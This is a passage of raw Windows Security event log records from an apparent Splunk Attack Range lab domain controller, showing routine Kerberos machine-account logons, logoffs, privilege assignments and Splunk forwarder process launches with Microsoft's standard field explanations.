KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:00:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256982 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x48FFD8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:01:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256985 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256986 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256987 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256988 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256989 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x478 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256990 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256993 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x492A96 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59264 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256992 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x492A96 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:01:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256994 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x492A96 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256997 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x493710 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256996 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x493710 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59272 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:01:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256995 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x493710 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257003 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x493A4E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257002 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x493A4E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59276 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257001 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x493A4E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257000 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4939E2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:02:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256999 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4939E2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59275 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:02:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256998 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4939E2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257005 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257004 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257006 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x510 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257007 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:02:12 